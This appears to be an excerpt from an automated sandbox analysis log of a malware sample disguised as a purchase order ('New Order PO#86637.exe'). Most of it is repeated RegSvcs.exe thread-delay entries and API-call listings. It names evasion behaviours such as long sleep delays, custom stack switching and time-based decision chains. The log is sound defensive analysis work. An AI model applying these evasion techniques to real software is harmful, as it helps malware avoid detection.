Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\directory\name.exe	API/Special instruction interceptor: Address: 421829C
Source: C:\Users\user\AppData\Local\directory\name.exe	API/Special instruction interceptor: Address: 46482C4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599419	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598948	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598819	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598701	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598555	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596085	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595966	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595824	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594954	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594829	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594704	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594579	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 593966	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598355	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598030	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596684	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594598	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1884	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7940	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2426	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7432	Jump to behavior

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_0-87516
Source: C:\Users\user\AppData\Local\directory\name.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\Desktop\New Order PO#86637.exe	API coverage: 3.3 %
Source: C:\Users\user\AppData\Local\directory\name.exe	API coverage: 3.4 %

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	5_2_00452492
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_00442886
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	5_2_004788BD
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	5_2_004339B6
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	5_2_0045CAFA
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_00431A86
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	5_2_0044BD27
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0045DE8F FindFirstFileW,FindClose,	5_2_0045DE8F
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_0044BF8B

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599419	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598948	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598819	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598701	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598555	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596735	Jump to behavior
